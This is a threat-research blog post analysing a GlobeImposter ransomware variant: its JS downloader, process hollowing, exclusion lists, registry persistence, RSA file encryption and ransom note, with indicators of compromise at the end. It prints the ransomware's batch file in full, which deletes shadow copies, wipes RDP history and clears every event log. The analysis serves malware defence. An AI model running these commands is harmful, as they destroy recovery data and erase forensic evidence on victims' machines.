Analysis of New Globelmposter Ransomware Variant

blog.fortinet.com/2017/08/05/analysis-of-new-globeimposter-ransomware-variant

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Threat Research

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Over the past few days, <u>FortiGuard Labs</u> captured a number of JS (JavaScript) scripts. Based on my analysis, they were being used to spread the new Globelmposter ransomware variants. I picked one of them and did a quick analysis. The version of the variant I reviewed is "726".

Figure 1 shows part of the JS file list that we captured. As you can see, the files with name that start with "IMG_" and "NIC" are all Globelmposter downloaders.

1 2 3 F|8/3/2017 16:54|ed6706bfa27c0b94bcb054d4925e625b [IMG 2278.js => 3fad1f6d.bin 4 F|8/3/2017 16:31|72bd8698f3c106028544be8ab3a1ce67 ING 1895.js 5 F|8/3/2017 16:27|107d4324ab57786d87964e867908e9d4 IMG 8101.js 6 F|8/3/2017 16:27|eOaae4bde246e8bf392b98d52da5a581 ING_4445.js 7 F|8/3/2017 16:21|b5117c4a7e7b6021dc9698c1ae261f74 MG 5366.js 8 10|8/3/2017 10:11|e25ab4380ef8b6376c3d7c3c2a06ec02|fax scandoc12.js 9 10|8/3/2017 8:31|09c228d3a18c8d14e1a1bd6913567fa6|Documento6841194.js 10 10|8/3/2017 8:21|4f7f2030250a207ea835c19b557f2729|8.jse|data|7 11 0|8/3/2017 8:14|9c5ba9f483c56274ec2ebb6eb57d914c|tp.widget.bootstrap.min.js 12 F[8/3/2017 8:10]9247c3c6ef3aaa3dce7b53075f10955f[IMG 8798.js => 2B50A8A3.vsc 13 F|8/3/2017 6:21|7f5f0105c56fb3bff226427cee7f96d8|IMG 2126.js 14 F|8/3/2017 6:20|2db43481ceca09a908510691b6da29c8|IMG 5242.js 15 F|8/3/2017 6:10|2e71f0996ce58461f7b66955b04e5e87|IMG 3915.js 16 F|8/3/2017 6:10|2dbd73bcd0c59140fb854cf2bfc79d07|ING 6047.js 17 F|8/3/2017 6:15|035484426a04b3d684018d46e2a0c1c2|IMG 4711.js 18 0|8/3/2017 6:05|03e27290c5022006b252d0b10656e6aa|03e27290c5022006b252d0b10656e6aa.js 19 F|8/3/2017 6:00|4564f13f52161988e25c2f58e7edbbf9|IMG 6829.js 20 F|8/3/2017 6:00|0686c4f6ebe1150a87677da5a6927c24|IMG 3180.js 21 F|8/3/2017 6:00|14b460f459fc7129e6d0f1ae06966227|IMG 8939.js 22 F|8/3/2017 4:21|8f5e3714d5c3de20e23ba2d943363ffc|0zJkn.js 23 10|8/3/2017 4:21|6cf41c81d8dc5364e6ba49237d81a44f|Fatt.997.jse|data|8 24 F|8/3/2017 2:21|6b22e932a018e8386ac1848794c5c541|12058.js 25 F|8/2/2017 18:34|f29cd3f2f4e871110b0f17c9ae616c4a|NIC423521.js 26 F|8/2/2017 18:21|ed884b6f940d7113a59998534e036b40|NIC423522.js 27 F|8/2/2017 16:21|4b2687877e8aa383fb53c0c743f11124|83J.js 28 F|8/2/2017 12:31|799ca05b047ddb0db8156ef6e8692292|NIC423526.js => 2B4B9329.vsc 29 F|8/2/2017 12:25|1615d2bafeaf8953583a9eb375a83ce4|NIC423524.js 30 10|8/2/2017 11:21|8d69f0f4833d8c4658513ee56fc0a9d6|Vodafone bill.js 31 F|8/2/2017 10:51|1620e3aa0a0578ec54fd8621e3e42972 NIC423527.js 32 F|8/2/2017 10:51|9169468b62f17f03f0ef142131fbc520 NIC423523.js 33 F|8/2/2017 10:15|827e84be3bffc60b2afe5c68d3a81e2d NIC423525.js 34 F|8/2/2017 10:11|6d9d36fd5e49b5bdbc23e7abf11fc2b6 NIC423520.js 35 F|8/2/2017 10:01|46b9905b74d0433d3be0c422c6337d72NIC423518.js/ => 2B4B9324.vsc 36

Figure 1. Captured JS file list

Download and Execution

When the JS "IMG_8798.js" is executed, it downloads Globelmposter from "hxxp://wendybull.com.au/87wefhi??JWbXSII=JWbXSII" and runs it. In my test environment, the downloaded file name is 87wefhi.txt.exe. Next we'll look at how it works on a victim's machine.

When Globelmposter is launched, it dynamically extracts code into a heap space. It then creates its child process with the flag "CREATE_SUSPENDED". It creates a suspended process, and later the code of the child process will be replaced with previously extracted code. This extracted code will be executed when the child process resumes its execution. This behavior is the main part of Globelmposter's functionality.

The screenshot in Figure 2 shows the process tree when Globelmposter is executed.



Figure 2. The Process Tree

The initial process resumes the execution of its child process by calling "ResumeThread", and then exits. All the analysis below is about that child process.

The Child Process

First, it calls the API function SetThreadExecutionState and passes 0x80000041H to it. With the parameter 0x80000041H, the Windows system will never sleep while the ransomware is encrypting the files. The function is called again with 0x80000000 after its work is done.

To prevent it from being analyzed easily, most strings and part of its APIs are encrypted. They are decrypted dynamically when running. Afterwards, it decrypts the exclusion folder and file extension names. In this version, it sets two exclusion lists. While the ransomware goes through all the folders and files on the victim's machine, it skips those files in the folders whose names are in an exclusion folder list and those files whose extension names are in an exclusion extension list. (In this version, it does do the extension name checking, it ignores the checking result though. Maybe it's a bug).

Below are the exclusion lists:

Folder exclusion list: (44 in total)

Windows, Microsoft, Microsoft Help, Windows App Certification Kit, Windows Defender, ESET, COMODO, Windows NT, Windows Kits, Windows Mail, Windows Media Player, Windows Multimedia Platform, Windows Phone Kits, Windows Phone Silverlight Kits, Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, WindowsPowerShell, Temp, NVIDIA Corporation, Microsoft.NET, Internet Explorer, Kaspersky Lab, McAfee, Avira, spytech software, sysconfig, Avast, Dr.Web, Symantec, Symantec_Client_Security, system volume information, AVG, Microsoft Shared, Common Files, Outlook Express, Movie Maker, Chrome, Mozilla Firefox, Opera, YandexBrowser, ntldr, Wsus, ProgramData. Extension exclusion list: (170 in total)

.\$er .4db .4dd .4d .4mp .abs .abx .accdb .accdc .accde .accdr .accdt .accdw .accft .adn .adp .aft .ahd .alf .ask .awdb .azz .bdb .bib .bnd .bok .btr .cdb .cdb .cdb .ckp .clkw .cma .crd .daconnections .dacpac .dad .dadiagrams .daf .daschema .db .db-shm .db-wa .db2 .db3 .dbc .dbf .dbf .dbk .dbs .dbt .dbv .dbx .dcb .dct .dcx .dd .df1 .dmo .dnc .dp1 .dqy .dsk .dsn .dta .dtsx .dx .eco .ecx .edb .emd .eq .fcd .fdb .fic .fid .fi .fm5 .fmp .fmp12 .fmps .fo .fp3 .fp4 .fp5 .fp7 .fpt .fzb .fzv .gdb .gwi .hdb .his .ib .idc .ihx .itdb .itw .jtx .kdb .lgc .maq .mdb .mdbhtm .mdf .mdn .mdt .mrg .mud .mwb .myd .ndf .ns2 .ns3 .ns4 .nsf .nv2 .nyf .oce .odb .oqy .ora .orx .owc .owg .oyx .p96 .p97 .pan .pdb .pdm .phm .pnz .pth .pwa .qpx .qry .qvd .rctd .rdb .rpd .rsd .sbf .sdb .sdf .spq .sqb .sq .sqlite .sqlite3 .sqlitedb .str .tcx .tdt .te .teacher .tmd .trm .udb .usr .v12 .vdb .vpd .wdb .wmdb .xdb .xld .xlgc .zdb .zdc

Relocation and Startup Group

Afterwards, it copies itself into "%AllUserProfile%\Public\" and adds the new file in the startup group in the victim's Windows registry. This allows it to be executed automatically whenever the system starts. Figure 3 shows that GlobeImposter has been added (....RunOnce\CerificatesCheck) into the startup group in the Windows registry.



Figure 3. Startup Group in Windows Registry

Preparatory Work

To prevent the victim from restoring encrypted files from the Shadow Volume copies, it calls "vssadmin.exe Delete Shadows /All /Quiet" in an executable batch file to delete all shadows. In that batch file it also cleans up Remote Desktop information saved in the system registry as well as the file %UserProfile%\Documents\Default.rdp. The batch file is called again after the file encryption work is done.

Figure 4 shows the content of the batch file.

📗 __t48A6.tmp.bat_ - Notepad

```
- 🗆 🗙
```

```
Elie Edit Format View Help
@echo off
vssadmin.exe Delete Shadows /All /Quiet
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp
for /F "tokens=*" %1 in ('wevtutil.exe el') D0 wevtutil.exe cl "%1"
```

Figure 4. The Batch File

Next, it initializes encryption related keys, data, etc. for encrypting files 2048-bit RSA. Part of the key related data is saved in a newly created file "%AllUserProfile%\Public\{hex numbers}". The name of {hex numbers} is made from the hardware information of victim's machine.

Before Encrypting Files

Killing some running processes and generating an html file are the last two steps before its starts encrypting files.

It calls taskkill.exe to kill running processes whose names include "sql", "outlook", "ssms", "postgre", "1c", "excel" and "word". Killing these processes might cause them to release the files they are using, which could result in this ransomware encrypting more files.

Figure 5 shows the pseudo code used to do this.



Figure 5. Kill Matched Processes

An HTML file (RECOVER-FILES-726.html) is then generated and dropped in the folder where the files are encrypted. Opening the HTML file informs the victim that the system's files have been encrypted and provides instructions on how to pay to get them back. The HTML file consists of the decrypted resources of this exe as well as a "personal ID".

This "personal ID" is sent to the server when you see the payment page. That ID allows the attacker to identify you and to generate the decryption key. Figure 6 is the screenshot of this HTML file content.



Encryption Process

When Globelmposter starts encrypting, it first scans files in all of the partitions on the victim's machine. It then encrypts almost every file as long as its folder name is not in the folder exclusion list as mentioned before. It reads the file and then encrypts the file content using the RSA algorithm and then overwrites the original content with encrypted content. The "personal ID" is also appended after encrypted content has been added to the file.

Figure 7 shows the content of an encrypted file.

config.sys726																	
Offset	0	1	2	3	4	5	6	7	8	9	A	В	C	D	Е	F	
00000000	12	57	55	58	B8	Β1	E7	71	45	76	48	50	5A	1C	8A	E8	WUX ±çqEvHPZ ∣è
00000010	8E	FB	94	2E	C3	4E	A7	9E	48	D9	02	FF	EE	84	À4	D2	lûI.ÃNS∣HÙ ÿî∣¤Ò
00000020	B6	DЗ	04	FO	8F	5C	2C	DA	DO	8D	2E	11	FE	99	7F	33	¶Óð∖,ÚÐ. þ 3
00000030	AF	59	DE	DЗ	D1	C6	6C	B6	E5	88	70	13	BB	91	DB	ΟA	_Y⊧ÓÑÆl¶å∣p »'Û
00000040	27	EЗ	F6	7E	OB	38	41	4B			~~				~~		'~``~ 8AK}¦≫ï∨ 5
00000050	9C	C9	ΕE	C2	1E	CC	B2	00		Eng	ry	pte	d	ile	Co	onte	ent l² ¢olöÿ4I
00000060	5A	4D	E5	Α1	8F	CB	68	02									Ëh UU I o
00000070	74	73	3C	47	82	FB	F8	50	5C	C2	5À	4F	8D	7E	ED	96	ts <g∣ûøp∖åzo td="" ~í∣<=""></g∣ûøp∖åzo>
00000080	AC	05	C9	10	82	40	D6	СВ	64	DE	95	1D	E7	B6	83	99	¬ É l@ÖËd⊧l ç¶ll
00000090	27	CO	71	29	CE	76	5E	ΕE	OD	9B	15	6A	89	D6	D7	6C	'Àq)Îv^î ∣ j∣Ö×1
000000A0	DD	87	C5	F8	11	FA	27	D8	0C	78	AC	52	08	03	70	71	ÝlÅøú'0 x¬R pq
000000B0	75	BD	C5	ΠÀ	4A	BD	62	4C	62	79	89	E5	ЗB	F3	ΕA	7B	u¼Å .ľ¥bľ.bvlå:óê{
000000000	38	33	20	38	33	20	31	31	20	33	44	20	42	46	20	31	83 83 11 3D BF 1
000000D0	46	20	33	39	20	36	30	20	32	42	20	31	46	20	41	41	F 39 60 2B 1F AA
000000E0	20	41	30	20	41	44	20	43	31	20	41	31	20	34	46	ΟA	AO AD C1 A1 4F
000000F0	41	39	20	46	38	20	37	43	20	44	37	20	45	41	20	45	A9 F8 7C D7 EA E
00000100	39	20	31	41	20	33	38	20	43	37	20	41	42	20	42	41	9 1A 38 C7 AB BA
00000110	20	44	44	20	31	33	20	34	35	20	35	42	20	45	36	ΟA	DD 13 45 5B E6
00000120	35	46	20	30	33	20	45	44	20	37	42	20	33	38	20	31	5F 03 ED 7B 38 1
00000130	34	20	34	46	20	33											E F9 76 79
00000140	20	33	43	20	46	44				Demonstration (11)					• B8 83 9C		
00000150	45	36	20	42	43	20					'er	sor	าลเ	שו			4E CO AB E
00000160	46	20	42	35	20	34											:1 5B 89 DE
00000170	20	43	32	20	46	32		~~						~~			JL 12 03 82 63
00000180	42	46	20	37	36	20	35	43	20	32	30	20	35	30	20	39	BF 76 5C 20 50 9
00000190	41	20	42	44	20	42	45	20	43	46	20	41	36	20	38	39	A BD BE CF A6 89
000001A0	20	38	41	20	36	44	20	45	30	20	38	35	20	30	37	ΟA	8A 6D EO 85 07
000001B0	32	41	20	42	39	20	37	35	20	46	38	20	30	39	20	46	2A B9 75 F8 09 F
000001C0	42	20	32	35	20	42	35	20	37	41	20	37	38	20	45	30	B 25 B5 7A 78 E0
000001D0	20	46	34	20	41	42	20	37	46	20	32	43	20	39	38	ΟA	F4 AB 7F 2C 98
000001E0	44	44	20	39	44	20	46	45	20	39	41	20	36	45	20	46	DD 9D FE 9A 6E F
000001F0	45	20	31	42	20	41	32	20	45	37	20	45	35	20	43	43	E 1B A2 E7 E5 CC
00000200	20	42	32	20	43	39	20	35	39	20	42	32	20	36	45	ΟA	B2 C9 59 B2 6E
00000210	33	45	20	44	38	20	30	36	20	33	42	20	30	42	20	45	3E D8 06 3B 0B E
00000220	30	20	42	43	20	38	45	20	41	31	20	46	39	20	35	35	0 BC 8E A1 F9 55

Figure 7. File Content of Encrypted config.sys

It then appends "..726" to every encrypted file name to identify that the file has been encrypted.

The screenshot in Figure 8, below, shows that it is about to rename an encrypted file by calling API MoveFileExW.

Paused 🛛	M 🛛 🕨 🦉		E E M T W H C 7 K	BR S 🗎 📰 ?		
004123CC	FF7424 1C	push dwo	rd ptr [esp+1C]		sters	(FPU)
004123D0	8D8424 7412000	lea eax	, dword ptr [esp+1274]		0012B5/	AS UNICODE "
004123D7	50	push eax			7633670	D kernel32.
004123D8	FFD3	call ebx			FFFFFFF	ĩΕ
004123DA	6A 01	push 1			763366E	BC kernel32.
004123DC	8D8424 7412000	lea eax	, dword ptr [esp+1274]		0012B32	2C
004123E3	50	push eax	Among Among Termine (070]		0029806	58
004123E4	8D8424 7802000	lea eax	, dword ptr [esp+2/8]		7631AB1	LF kernel32.
004123EB	FF15 78404100	call dwg	rd ntr [414078]	kernel32 MoveFileFxW	002A230	00 ASCII "ba
004123F2	8D8C24 7002000	lea ecr	dword ntr [esp+270]	KCIIICIOZ, MOVCI IICDXH	004123E	EC
004123F9	E8 4D000000	call 004	1244B		200.27	73 39N;+ O(R
004123FE	57	push edi			CS 001	LB 32bit 0(F
004123FF	6A 00	push 0			SS 002	23 32bit 0(F
00412401	FF15 34404100	call dwo	rd ptr [414034]	kernel32.GetProcessHeap	DS 002	23 32bit 0(F
00412407	50	push eax			FS 003	3B 32bit 7FF
00412408	FF15 30404100	call dwo	rd ptr [414030]	kernel 32. HeapFree	GS 000	DO NULL
0041240E	8B7C24 18	nov edi	, dword ptr [esp+18]			
00412412	8D4424 20 Fo	lea eax	, aword ptr [esp+20]		LastEr	rr ERROR_SUC
00412410	50	push ehn			0000024	46 (NO.NB.E.
00412411	FE15 BC404100	coll due	nd n+n [4140BC]	kommel 32 FindNow+FileW		000 88888 000
ds:[004140	078]=76318DF8 (k	ernel32.Move	FileExW)		empty	-777 FFFF 00 -999 FFFF 00
					empty	<u>-999 REFE 1E</u>
00421AB0	07 ^ 0012B32C 0	0012B5A8 Ex	istingName = "C:\Users\All U	sers\Oracle\Java\installcach	e\baseim	agefam8″
00421AC0	A9 0012B330 0	0012C5A8 Ne	wName = "C:\Users\All Users\	Oracle\Java\installcache\bas	eimagefa	m8726″
00421AD0 H	E2 0012B334 0	00000001 L F1	ags = REPLACE_EXISTING			
00421AE0 H	FE 0012B338	002942A0				
1004914801	17 0019B33/1	0000000				

Figure 8. Rename Encrypted File

Figure 9 shows the screenshot of encrypted files (including exe files) in the python installation folder.



Open RECOVER-FILES-726.html

Figure 10 shows how you go to the payment page by opening the RECOVER-FILES-726.html. file.



Figure 10. Open RECOVER-FILES-726.html

Solution

Through this analysis, we know how Globelmposter is downloaded onto a victim's machine, and how it works to encrypt the files on victim's machine. We also observed that many new JS samples are spreading this ransomware. Since it uses an RSA 2048-bit key to encrypt files, it's very hard to decrypt them without the decryption key.

- The URL in the JS file used to download the GlobeImposter has been rated as a "Malicious Website" by the FortiGuard Webfilter service.
- The JS file is detected as **JS/GlobeImposter.A!tr** by the FortiGuard Antivirus service.
- The downloaded GlobeImposter is detected as **W32/GlobeImposter.A!tr**by the FortiGuard Antivirus service.

IOC

URL:

hxxp://wendybull.com.au/87wefhi??JWbXSII=JWbXSII

Sample SHA256:

IMG_8798.js

3328B73EF04DEA21145186F24C300B9D727C855B2A4B3FC3FBC2EDC793275EEA

87wefhi.txt.exe

10AA60F4757637B6B934C8A4DFF16C52A6D1D24297A5FFFDF846D32F55155BE0

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